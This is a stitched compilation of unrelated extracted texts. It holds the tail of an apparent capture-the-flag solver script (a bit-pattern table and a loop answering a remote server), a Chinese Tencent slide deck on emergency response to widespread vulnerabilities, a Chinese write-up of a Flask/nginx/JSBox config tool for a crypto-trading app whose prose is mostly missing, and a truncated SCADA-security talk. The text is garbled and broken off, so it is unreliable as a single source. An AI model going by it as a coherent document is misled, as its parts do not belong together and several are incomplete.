'11111001111111001????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '11111100101111110????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '100000101100000000?000000?0?0000001??0?000??????00??????? 0?????????????????????????????????????????????????????????????????????????? ????????????????????????????', '0110000111010000000??00000????000001????? 00??????? 0?????????????????????????????????????????????????????????????????????????? ???????????????????????????????????', '0111000110001000000???0000????? 00001?????? 0?????????????????????????????????????????????????????????????????????????? ???????????????????????????????????????????', '00111100110100100??0????? 10?????? 0?????????????????????????????????????????????????????????????????????????? ????????????????????????????????????????????????????', '00111110110110010????????? 1?????????????????????????????????????????????????????????????????????????? ???????????????????????????????????????????????????????????', '00011111111011100????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '00011111101011110????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '00001111110001111????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '00001111110011111????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '00000111111001011????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '00000100000101100??0000??10000?0?0????? 1?????????????????????????????????????????????????????????????????????????? ??????????????????????????????????????????????', '000000110000111010??? 000??? 1000??????????????????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????', '000000111000110001????00???? 100???????????????????????????????????????????????????????????????????????? ?????????????????????????????????????????????????????????', '0000000111100110100?????0????? 10????????????????????????????????????????????????????????????????????????? ???????????????????????????????????????????????????????', '00000001111101101?0???????????? 1?????????????????????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????', '00000000111111110????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '00000000111111010????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '00000000011111100????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '00000000011111100????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '00000000001111110????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '0000000000100000101100??0000??10000?0?0????? 1?????????????????????????????????????????????????????????????????????????? ?????????????????????????????????????????', '00000000000110000??1010??? 000??? 10????????????????????????????????????????????????????????????????????????? ?????????????????????????????????????????????????????', '00000000000111000???001????00???? 1?????????????????????????????????????????????????????????????????????????? ????????????????????????????????????????????????????', '000000000000111100????00????? 0?????????????????????????????????????????????????????????????????????????? ????????????????????????????????????????????????????????', '000000000000111110????? 0?????????????????????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????', '00000000000001111? 1?????????????????????????????????????????????????????????????????????????? ???????????????????????????????????????????????????????????????????', '00000000000001111????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '10000000000000111????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '11000000000000111????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '11110000000000011????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '000000000000000100000?01100??0000??100????? 0?????????????????????????????????????????????????????????????????????????? ??????????????????????????????????????????', '0000000000000000110000?? 1010???000??? 10????????????????????????????????????????????????????????????????????????? ????????????????????????????????????????????????', '00000000000000001? 1000???001????00???? 1?????????????????????????????????????????????????????????????????????????? ???????????????????????????????????????????????', '00000000000000000??? 100???? 00????????????????????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????', '10000000000000000????10????? 0?????????????????????????????????????????????????????????????????????????? ?????????????????????????????????????????????????????????', '11100000000000000?????? 1?????????????????????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????', '11110000000000000????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '11111100000000000????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '11111110000000000????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '11111111100000000????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '0000000000000000000?100000?01100??00????100????? 0?????????????????????????????????????????????????????????????????????????? ?????????????????????????????????????', '11000000000000000000??10000?? 1010???0????? 10????????????????????????????????????????????????????????????????????????? ???????????????????????????????????????????', '11100000000000000?00???1? 00???001?????????? 1?????????????????????????????????????????????????????????????????????????? ??????????????????????????????????????????', '01111000000000000???0?????? 0???? 00????????????????????????????????????????????????????????????????????????? ?????????????????????????????????????????????????????', '01111100000000000???????????????? 0?????????????????????????????????????????????????????????????????????????? ????????????????????????????????????????????????????', '00111111000000000????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '00111111100000000????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '00011111111000000????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '00011111111100000????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '11001111111111000????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '0000100000000000000?0000?1?0000?0110????0???? 1?????????????????????????????????????????????????????????????????????????? ????????????????????????????????????????', '00000110000000000?00??00????? 000???? 1?????????????????????????????????????????????????????????????????????????? ?????????????????????????????????????????????????', '00000111000000000?? 0???0?????? 00????????????????????????????????????????????????????????????????????????? ???????????????????????????????????????????????????????', '00000011110000000??????????????? 0?????????????????????????????????????????????????????????????????????????? ?????????????????????????????????????????????????????', '00000011111000000????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '100000011111100000???????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '110000011111110000???????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '11110000111111110????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '11111000111111111????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '11111110011111111????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '00000000010000000000?000?00?0?1?0000???1?????????? 1?????????????????????????????????????????????????????????????????????????? ???????????????????????????????????', '000000000011000000000??00??0?????? 000???????????????????????????????????????????????????????????????????????? ???????????????????????????????????????????????????', '100000000011100000000???0?????????? 00????????????????????????????????????????????????????????????????????????? ??????????????????????????????????????????????????', '11100000000111100? 0000??????????????????????????????????????????????????????????????????????? ???????????????????????????????????????????????????????????????????', '11110000000111110?? 000???????????????????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????', '11111100000011111???? 00????????????????????????????????????????????????????????????????????????? ????????????????????????????????????????????????????????????????', '11111110000011111????? 0?????????????????????????????????????????????????????????????????????????? ???????????????????????????????????????????????????????????????', '01111111100001111????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '01111111110001111????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '00111111111100111????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '00100000000000100?000000??000?00?0???? 000???????????????????????????????????????????????????????????????????????? ???????????????????????????????????????????????', '000110000000000110?? 00000???00??0??????? 00????????????????????????????????????????????????????????????????????????? ?????????????????????????????????????????????', '000111000000000111??? 0000????0??????????? 0?????????????????????????????????????????????????????????????????????????? ????????????????????????????????????????????', '0000111100000000111???? 000???????????????????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????', '0000111110000000111????? 00????????????????????????????????????????????????????????????????????????? ?????????????????????????????????????????????????????????????', '00000111111000000??1?????? 0?????????????????????????????????????????????????????????????????????????? ???????????????????????????????????????????????????????????', '00000111111100000????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '10000011111111000????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '11000011111111100????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '11110001111111111????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '0000000100000000000100?000000??000?00?0???? 000???????????????????????????????????????????????????????????????????????? ??????????????????????????????????????????', '00000000110000000?00110?? 00000???0???????????? 0?????????????????????????????????????????????????????????????????????????? ???????????????????????????????????????', '00000000111000000??0111??? 0000??????????????????????????????????????????????????????????????????????? ???????????????????????????????????????????????????????????', '00000000011110000????111???? 000???????????????????????????????????????????????????????????????????????? ?????????????????????????????????????????????????????????', '10000000011111000?????11????? 00????????????????????????????????????????????????????????????????????????? ????????????????????????????????????????????????????????', '111000000011111100??????1?????? 0?????????????????????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????', '111100000011111110???????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '11111100000111111????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '11111110000111111????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???????????', '?? 111111100011111???????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ????????', '00000000000010000000?000100?000000??0????0?0????? 00????????????????????????????????????????????????????????????????????????? ????????????????????????????????????', '110000000000011000000??00110?? 00000???????????????? 0?????????????????????????????????????????????????????????????????????????? ??????????????????????????????????', '111000000000011100000???0111??? 0000??????????????????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????', '01111000000000111?0000????111???? 0?????????????????????????????????????????????????????????????????????????? ????????????????????????????????????????????????????', '01111100000000111?? 000????? 11????????????????????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????', '? 0111111000000011????00?????? 1?????????????????????????????????????????????????????????????????????????? ????????????????????????????????????????????????????????', '?? 111111100000011????? 0?????????????????????????????????????????????????????????????????????????? ???????????????????????????????????????????????????????????????', '???? 1111111000001?????????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ??????', '????? 111111100001??????????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ?????', '??????? 1111111000????????????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???', '00001000000000000?000000??000100?0??0?0???????0? 0?????????????????????????????????????????????????????????????????????????? ?????????????????????????????????????', '00000110000000000???00001??? 00110?????????????????????????????????????????????????????????????????????? ?????????????????????????????????????????????????????????', '? 0000111000000000????000????? 0111??????????????????????????????????????????????????????????????????????? ????????????????????????????????????????????????????????', '??? 00011110000000??????0??????? 111???????????????????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????', '???? 0011111000000??????????????? 11????????????????????????????????????????????????????????????????????????? ?????????????????????????????????????????????????????', '?????? 01111110000???????????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ????', '??????? 1111111000????????????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ???', '0???????? 111111100?????????????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ?', '0????????? 11111110??????????????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????? ', '00?????????? 1111111???????????????????????????????????????????????????????????????????? ?????????????????????????????????????????????????????????????????????????', '00?0000001000000000??0?000?10??00010????? 0?????????????????????????????????????????????????????????????????????????? ????????????????????????????????????????????', '000??000001100000000????? 00??1??? 0011??????????????????????????????????????????????????????????????????????? ????????????????????????????????????????????????????', '000??? 00001110000000??????0??????? 011???????????????????????????????????????????????????????????????????????? ???????????????????????????????????????????????????', '0000???? 0001111000000??????????????? 11????????????????????????????????????????????????????????????????????????? ?????????????????????????????????????????????????', '0000????? 001111100000???????????????? 1?????????????????????????????????????????????????????????????????????????? ????????????????????????????????????????????????', '00000?????? 01111110000???????????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????????' , '00000??????? 1111111000????????????????????????????????????????????????????????????????? ?????????????????????????????????????????????????????????????????????????', '000000???????? 111111100?????????????????????????????????????????????????????????????????? ???????????????????????????????????????????????????????????????????????', '000000????????? 11111110??????????????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????????', '0000000?????????? 1111111???????????????????????????????????????????????????????????????????? ????????????????????????????????????????????????????????????????????', '0000000?0000001000000000??0?000?10??00010????? 0?????????????????????????????????????????????????????????????????????????? ???????????????????????????????????????', '00000000??000001100000000????? 00??1??? 0011??????????????????????????????????????????????????????????????????????? ???????????????????????????????????????????????', '00000000??? 00001110000000??????0??????? 011???????????????????????????????????????????????????????????????????????? ??????????????????????????????????????????????', '000000000???? 0001111000000??????????????? 11????????????????????????????????????????????????????????????????????????? ????????????????????????????????????????????', '000000000????? 001111100000???????????????? 1?????????????????????????????????????????????????????????????????????????? ???????????????????????????????????????????', '0000000000?????? 01111110000???????????????????????????????????????????????????????????????? ?????????????????????????????????????????????????????????????????????', '0000000000??????? 1111111000????????????????????????????????????????????????????????????????? ????????????????????????????????????????????????????????????????????', '00000000000???????? 111111100?????????????????????????????????????????????????????????????????? ??????????????????????????????????????????????????????????????????', '00000000000????????? 11111110??????????????????????????????????????????????????????????????????? ?????????????????????????????????????????????????????????????????', '?? 0000000000?????????? 1111111???????????????????????????????????????????????????????????????????? ???????????????????????????????????????????????????????????????', '000000000000?0000001000000000??0?000?10??00010????? 0?????????????????????????????????????????????????????????????????????????? ??????????????????????????????????', '0000000000000??000001100000000????? 00??1??? 0011??????????????????????????????????????????????????????????????????????? ??????????????????????????????????????????', '0000000000000??? 00001110000000??????0??????? 011???????????????????????????????????????????????????????????????????????? ?????????????????????????????????????????', '00000000000000???? 0001111000000??????????????? 11????????????????????????????????????????????????????????????????????????? ???????????????????????????????????????', '00000000000000????? 001111100000???????????????? 1?????????????????????????????????????????????????????????????????????????? ??????????????????????????????????????', '?00000000000000?????? 01111110000???????????????????????????????????????????????????????????????? ????????????????????????????????????????????????????????????????', '?? 0000000000000??????? 1111111000????????????????????????????????????????????????????????????????? ???????????????????????????????????????????????????????????????', '???? 000000000000???????? 111111100?????????????????????????????????????????????????????????????????? ?????????????????????????????????????????????????????????????', '????? 00000000000????????? 11111110??????????????????????????????????????????????????????????????????? ????????????????????????????????????????????????????????????'] for _ in range(32): r.recvuntil(b"Here are some tips might help your:") data = r.recvline() k1 = int(r.recvline()) k2 = int(r.recvline()) r.recvuntil(b">") now = bin(k1^k2)[2:].zfill(160) 26 27 28 29 30 31 32 33 ans = [] for i in range(160): for j in range(160): if((now[j]=='0')and(table[i][j]=='1')): break if((now[j]=='1')and(table[i][j]=='0')): break if(j==159): ans += [i] print(i+1,'round: ',ans) try: num = ans[0] except: num = 1 r.sendline(str(num)) data = r.recvline() if(data == b"wrong!\n"): print('failed at',i) r.close() r.interactive() 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
pdf
通用型漏洞的应急响应 主讲人: 钟武强 腾讯安全应急响应中心(TSRC)负责人 关于我 • 钟武强(小五),微信号Mark4z5 • 腾讯安全应急响应中心(TSRC)负责人 • 广东省信息安全测评中心 —> 百度 —> 腾讯 • 十多年安全经验,擅长应急响应、渗透测试 关于腾讯 • 中国最大互联网公司,全球市值排名第五 • 产品众多,形态多样化 • 超十亿用户,超百万台服务器 安全风险分类 账号风险 欺诈风险 etc.. 漏洞攻击风险 DDOS攻击风险 etc.. 办公网攻击风险 员工违规风险 etc.. 业务安全 应用运维安全 内部安全 漏洞Case 1回顾 2014年 OpenSSL Heartbleed心脏出血漏洞 远程读取服务器内存数据 发送https恶意请求就能窃取到其他用户cookie凭证 各大互联网公司受影响 修复方案:升级OpenSSL并重启WebServer等服务 国内某漏洞平台收到的报告 漏洞Case 2回顾 2016年 ImageMagick远程代码执行漏洞 上传一张图片就能入侵服务器 各大互联网公司受影响 国内某漏洞平台收到的报告 国外某互联网巨头公司被爆漏洞 漏洞Case 3回顾 2018年 Intel CPU信息泄漏漏洞 几乎全部Intel CPU受影响 修复方案:打微码补丁、操作系统补丁 重启系统、性能下降,还可能蓝屏 Windows补丁修出1个本地提权漏洞 0rz 所以 通用型漏洞 往往影响范围广,修复难度大,处理非常棘手 腾讯是如何开展通用型漏洞的应急响应? 应急响应流程 漏洞获悉 漏洞评估 漏洞知会 漏洞发现 漏洞修复 攻击检测 攻击拦截 复盘总结 价值输出 第一阶段 第二阶段 第三阶段 漏洞获悉 漏洞评估 没弄到情报? 情报来晚了,被搞了? 好多情报,看不过来? • 情报自动化采集 ‣ 200个软件源、100个资讯类源、400个twitter微博源 ‣ 平均每15分钟采集一轮,日均采集1000条 ‣ 过滤后日均推送告警80条,紧急情报重点提醒 • 漏洞奖励计划 ‣ 0day 或 最新公开漏洞情报 • 自主挖掘发现 • 其他渠道 ‣ 官方保密性漏洞通知(如Intel) ‣ 私人圈子交流 漏洞获悉 漏洞评估 评估速度慢? 评估误判? • 评估要点 ‣ 确认漏洞原因、危害、影响范围、PoC和修复方案 • 评估效率及准确性 ‣ 关键是人才,安全技术及经验的积累 • TSRC作为应急指挥中心,统一协调确保各项应急工作有序、快速开展 • 第一时间通知安全兄弟团队、公司领导、业务同事,告知风险及后续工作 漏洞知会 漏洞发现 漏洞修复 攻击检测 攻击拦截 如何全面发现 存在漏洞的业务? • 主机安全系统本地采集受影响主机 ‣ 本地执行find/ps/grep/strings/ldd/特定二进制等命令 • 漏洞扫描器对全业务Web/APP进行检测 • 人工排查重点业务,优先保证重点业务安全 • 引导业务同事进行自查 • 白帽子帮忙发现漏网之鱼 漏洞知会 漏洞发现 漏洞修复 攻击检测 攻击拦截 修复优先级? 修复闭环? 漏洞咨询量暴增? • 邮件/微信/工单等方式通知业务修复 ‣ 给出修复方案和限期,外网优先修复 ‣ 使用工单系统进行闭环,避免跟丢 ‣ 持续确认和周知修复情况 • 漏洞FAQ文章,减少沟通成本 漏洞知会 漏洞发现 漏洞修复 攻击检测 攻击拦截 修复期间遭攻击? • 网络入侵检测系统(4/7层异常流量) • 主机入侵检测系统(webshell、命令执行等) 漏洞知会 漏洞发现 漏洞修复 攻击检测 攻击拦截 修复期间遭攻击? • Web应用防火墙(WAF)拦截恶意请求 • 主机入侵检测系统具备快速止损能力 ‣ 一检测到攻击成功,立刻断网 漏洞知会 漏洞发现 漏洞修复 攻击检测 攻击拦截 复盘总结 价值输出 • 按时间线整理应急过程,肯定成绩,暴露缺陷 • 举一反三,提升安全能力,避免长期疲于救火 复盘总结 价值输出 • 发表内部文章,宣传安全价值,赢取业务持续配合安全工作 • 发表外部文章,分享安全技术,为互联网安全贡献力量 腾讯TEG安全平台部 • 漏洞扫描 • 入侵检测 • 态势感知 • WAF拦截 • DDOS防御 • 业务安全 • 安全大数据 • 应急响应 • 红蓝对抗 • 安全评估 • 安全预研 • AI安全 • etc.. 负责全公司安全问题,每天枪林弹雨,挑战巨大 有挑战才有进步,欢迎加入我们 https://security.tencent.com security@tencent.com
pdf
autocoinapp 0x00 autocoin appapp IOSJSBOX 0x01 1. autocoinvpshttp 2. VPShttp 3. jsboxAPPjshttp vpshttpnginxhttpvpshttpflask 0x02 VPShttp flaskautocoin jsbox from flask import Flask from flask import request from flask import jsonify import json app = Flask(__name__) ## @app.route('/getconf',methods=['GET']) def getconf(): if request.method == 'GET': f = open('autocoin.conf','r') conf = f.readline() return jsonify(conf) ## post @app.route('/setconf',methods=['POST']) def setconf(): if request.method == 'POST': f = open('autocoin.conf','w') json_data = request.json json_data=json.dumps(json_data) f.write(json_data) f.close return 'OK' if __name__ == '__main__': app.run(host='172.17.0.1', port=5000, debug=True) ## docker0iplocalhost flask vpsnginxurl flask dockernginxnginx events { worker_connections 1024; } http { server { listen 80; server_name localhost; location /fdafewfdsfagdfdsa/{ proxy_pass http://172.17.0.1:5000/ } } } urlflask 0x03 jsbox jsboxappjsapiappapp api jsboxiosjsboxapi postget var conf = { threhold: 0.003, switch: true, oneprice: 900 }; $ui.render({ views: [ { type: "label", props: { id: "switchlabel", text: "", align: $align.center }, layout: function(make){ make.top.equalTo(10); } } , { type: "switch", props: { on: true }, layout: function(make){ make.top.equalTo($("switchlabel").bottom).offset(10); }, events:{ changed:function(sender){ conf.switch = sender.on; } } }, { type: "label", props: { id: "onepricelabel", text: "", align: $align.center }, layout: function(make){ make.top.equalTo($("switch").bottom).offset(10); }, } , { type: "input", props: { id:"onepriceinput", type: $kbType.search, darkKeyboard: true, text: conf.oneprice, }, layout: function(make){ make.top.equalTo($("onepricelabel").bottom).offset(10); make.width.equalTo(150); }, events:{ returned: function(sender){ conf.oneprice = sender.text; $ui.toast(conf.oneprice); } } }, { type: "label", props: { id: "threholdlabel", text: "", align: $align.center }, layout: function(make){ make.top.equalTo($("onepriceinput").bottom).offset(10); }, } , { type: "input", props: { id:"threholdinput", type: $kbType.search, darkKeyboard: true, text: conf.threhold, }, layout: function(make){ make.top.equalTo($("threholdlabel").bottom).offset(10); make.width.equalTo(150); }, events:{ returned: function(sender){ conf.threhold = sender.text; $ui.toast(conf.threhold); } } }, { type: "button", props: { id: "getbutton", title: "" }, layout: function(make, view) { make.top.equalTo($("threholdinput").bottom).offset(10); make.width.equalTo(100); }, events: { tapped: function(sender) { $http.get({ url: 'http://xxxxx/getconf', handler: function(resp) { const data = resp.data; var xdata = JSON.parse(data); var jsondata = JSON.parse(xdata); conf.threhold = jsondata.threhold; conf.oneprice = jsondata.oneprice; conf.switch = jsondata.switch; $ui.toast(conf.threhold); $("threholdinput").text = conf.threhold; $("onepriceinput").text = conf.oneprice; $("switch").on = conf.switch; } }) } } }, { type: "button", props: { id: "setbutton", title: "" }, layout: function(make, view) { make.top.equalTo($("getbutton").bottom).offset(10); make.width.equalTo(100); }, events: { tapped: function(sender) { $http.post({ url: 'http://xxxxx/setconf', header:{ "Content-Type":"application/json" }, body:{ threhold:conf.threhold, oneprice:conf.oneprice, switch:conf.switch }, handler: function(resp) { const data = resp.data; $ui.toast(data); } }) } } } ] }) 0x04 appappjs
pdf
© 2008 Security-Assessment.com SCADA Fear, Uncertainty, and the Digital Armageddon Presented By Morgan Marquis-Boire © 2007 Security-Assessment.com Whois Hi, My Name is Morgan © 2007 Security-Assessment.com Whois Hi, My Name is Morgan I’m a security guy © 2007 Security-Assessment.com Whois Hi, My Name is Morgan I’m a security guy Security-Assessment.com © 2007 Security-Assessment.com Introduction Security-Assessment.com Independent security consultancy; no sales, no products, no fixing the things we break NZ’s largest & most experienced security team Experienced with large, critical networks Banks, airlines, government, telco and utility Paid to think like hackers, and break things like hackers © 2007 Security-Assessment.com Introduction So What’s a SCADA and where can I get one? What is it? Why is it so hip right now? © 2007 Security-Assessment.com SCADA Basics SCADA - Supervisory Control and Data Acquisition There is a tendency by the media to refer to all industrial control systems (ICS) as SCADA © 2007 Security-Assessment.com SCADA Basics SCADA - Supervisory Control and Data Acquisition There is a tendency by the media to refer to all industrial control systems (ICS) as SCADA SCADA systems support processes that manage water supply and treatment plants Electrical power distribution and transmission Operate chemical and nuclear power plants HVAC systems – Heating, Ventilation, Air Conditioning Traffic Signals Mass transit systems Et al. © 2007 Security-Assessment.com Some History Real World Examples Accident Worm Outbreak Sabotage Disgruntled Ex-employee These sound familiar? © 2007 Security-Assessment.com I was promised some FUD When Good SCADA Goes SERIOUSLY WRONG “About 3:28 p.m., Pacific daylight time, on June 10, 1999, a 16- inch-diameter steel pipeline owned by Olympic Pipe Line Company ruptured and released about 237,000 gallons of gasoline into a creek that flowed through Whatcom Falls Park in Bellingham, Washington. About 1.5 hours after the rupture, the gasoline ignited and burned approximately 1.5 miles along the creek. Two 10-year-old boys and an 18-year-old young man died as a result of the accident. Eight additional injuries were documented. A single-family residence and the city of Bellingham's water treatment plant were severely damaged. As of January 2002, Olympic estimated that total property damages were at least $45 million.” © 2007 Security-Assessment.com 10th June, 1999 © 2007 Security-Assessment.com I was promised some FUD This was an accident “The Olympic Pipeline SCADA system consisted of Teledyne Brown Engineering SCADA Vector software, version 3.6.1., running on two Digital Equipment Corporation (DEC) VAX Model 4000-300 computers with VMS operating system Version 7.1. In addition to the two main SCADA computers (OLY01 and 02), a similarly configured DEC Alpha 300 computer running Alpha/VMS was used as a host for the separate Modisette Associates, Inc., pipeline leak detection system software package.” © 2007 Security-Assessment.com 10th June, 1999 © 2007 Security-Assessment.com 10th June, 1999 © 2007 Security-Assessment.com I was promised some FUD This was an accident “The massive fireball sends a plume of smoke 30,000 feet into the air, visible from Anacortes to Vancouver, B.C., Canada.” © 2007 Security-Assessment.com I was promised some FUD Digruntled Employee Vitek Boden, in 2000, was arrested, convicted and jailed because he released millions of liters of untreated sewage using his wireless laptop. It happened in Maroochy Shire, Queensland, as revenge against his a former employer. http://www.theregister.co.uk/2001/10/31/hacker_jailed_for_rev enge_sewage/ © 2007 Security-Assessment.com I was promised some FUD Digruntled Employee "Marine life died, the creek water turned black and the stench was unbearable for residents," said Janelle Bryant of the Australian Environmental Protection Agency. The Maroochydore District Court heard that 49-year-old Vitek Boden had conducted a series of electronic attacks on the Maroochy Shire sewage control system after a job application he had made was rejected by the area's Council. At the time he was employed by the company that had installed the system. Boden made at least 46 attempts to take control of the sewage system during March and April 2000. On 23 April, the date of Boden's last hacking attempt, police who pulled over his car found radio and computer equipment. Later investigations found Boden's laptop had been used at the time of the attacks and his hard drive contained software for accessing and controlling the sewage management system. © 2007 Security-Assessment.com I was promised some FUD Worm Attack “In August 2003 Slammer infected a private computer network at the idled Davis-Besse nuclear power plant in Oak Harbor, Ohio, disabling a safety monitoring system for nearly five hours.” NIST, Guide to SCADA Slammer worm crashed Ohio nuke plant network – Kevin Poulson http://www.securityfocus.com/news/6767 © 2007 Security-Assessment.com I was promised some FUD Worm Attack “The Slammer worm entered the Davis-Besse plant through a circuitous route. It began by penetrating the unsecured network of an unnamed Davis-Besse contractor, then squirmed through a T1 line bridging that network and Davis-Besse's corporate network. The T1 line, investigators later found, was one of multiple ingresses into Davis-Besse's business network that completely bypassed the plant's firewall, which was programmed to block the port Slammer used to spread.” © 2007 Security-Assessment.com I was promised some FUD Sabotage Thomas C. Reed, Ronald Regan’s Secretary, described in his book “At the abyss” how the U.S. arranged for the Soviets to receive intentionally flawed SCADA software to manage their natural gas pipelines. "The pipeline software that was to run the pumps, turbines, and values was programmed to go haywire, after a decent interval, to reset pump speeds and valve settings to produce pressures far beyond those acceptable to pipeline joints and welds." A 3 kiloton explosion was the result, in 1982 in Siberia. http://www.themoscowtimes.ru/stories/2004/03/18/014.html © 2007 Security-Assessment.com I was promised some FUD Other incidents In 1992, a former Chevron employee disabled it’s emergency alert system in 22 states. This wasn’t discovered until an emergency did not raise the appropriate alarms In 1997, a teenager broke into NYNEX and cut off Worcester Airport in Massachusetts for 6 hours by affecting ground and air communications In 2000 the Russian government announced that hackers had managed to control the world’s largest natural gas pipeline (Gazprom) In 2003, the east coast of America experienced a blackout. While the Blaster worm was not the cause, many related systems were found to be infected Computers and manuals seized in Al Qaeda (allegedly) training camps were full of SCADA information related to dams and other such structures © 2007 Security-Assessment.com I was promised some FUD Other incidents – real or otherwise "We have information, from multiple regions outside the United States, of cyber intrusions into utilities, followed by extortion demands. We suspect, but cannot confirm, that some of these attackers had the benefit of inside knowledge. We have information that cyber attacks have been used to disrupt power equipment in several regions outside the United States. In at least one case, the disruption caused a power outage affecting multiple cities. We do not know who executed these attacks or why, but all involved intrusions through the Internet.“ ---CIA “Senior Analyst" Tom Donahue – Jan 2008 © 2007 Security-Assessment.com I was promised some FUD Other incidents – real or otherwise "We have information, from multiple regions outside the United States, of cyber intrusions into utilities, followed by extortion demands. We suspect, but cannot confirm, that some of these attackers had the benefit of inside knowledge. We have information that cyber attacks have been used to disrupt power equipment in several regions outside the United States. In at least one case, the disruption caused a power outage affecting multiple cities. We do not know who executed these attacks or why, but all involved intrusions through the Internet.“ ---CIA “Senior Analyst" Tom Donahue – Jan 2008 © 2007 Security-Assessment.com I was promised some FUD Other incidents – real or otherwise "Computer hackers in China, including those working on behalf of the Chinese government and military, have penetrated deeply into the information systems of U.S. companies and government agencies, stolen proprietary information from American executives in advance of their business meetings in China, and, in a few cases, gained access to electric power plants in the United States, possibly triggering two recent and widespread blackouts in Florida and the Northeast, according to U.S. government officials and computer-security experts.“ ---National Journal Magazine – 31st May 2008 © 2007 Security-Assessment.com I was promised some FUD Other incidents – real or otherwise "This is all so much nonsense I don't even know where to begin.” ---Bruce Schneier – 2nd June 2008 © 2007 Security-Assessment.com I was promised some FUD Other incidents – real or otherwise "This time, though, they've attached their tale to the most thoroughly investigated power incident in U.S. history." and "It traced the root cause of the outage to the utility company FirstEnergy's failure to trim back trees encroaching on high- voltage power lines in Ohio. When the power lines were ensnared by the trees, they tripped. [...] So China...using the most devious malware ever devised, arranged for trees to grow up into exactly the right power lines at precisely the right time to trigger the cascade.” --Wired 29th May 2008, Kevin Poulson © 2007 Security-Assessment.com Time for some F.U.D. Security Risk defined largely by threat Massive power blackout Oil Refinery explosion Waste mixed in with drinking water Dam opens causing flooding Traffic Chaos Nuclear Explosion? © 2007 Security-Assessment.com Remember this? © 2007 Security-Assessment.com Time for some F.U.D. Risk is worse these days because hacking is EASY! Hacking used to involve skilled attackers performing simple attacks (password guessing, brute forcing etc) Now with the rise of easily available hacking tools, complex attacks can be carried out by relatively unskilled attackers… © 2007 Security-Assessment.com Time for some F.U.D. Risk is worse these days because hacking is EASY! Hacking used to involve skilled attackers performing simple attacks (password guessing, brute forcing etc) Now with the rise of easily available hacking tools, complex attacks can be carried out by relatively unskilled attackers… Bust out your aircrack, nmap, nessus, metasploit, wicrawl, buy yourself a Russian 0day pack and you’re ready to be part of the problem… © 2007 Security-Assessment.com I was promised some FUD Where’s my digital armageddon??? Let’s watch a video then we’ll have a couple of case studies © 2007 Security-Assessment.com O.K. too much FUD The digital Armageddon hasn’t happened yet Stories are obviously exaggerated to stir up outrage 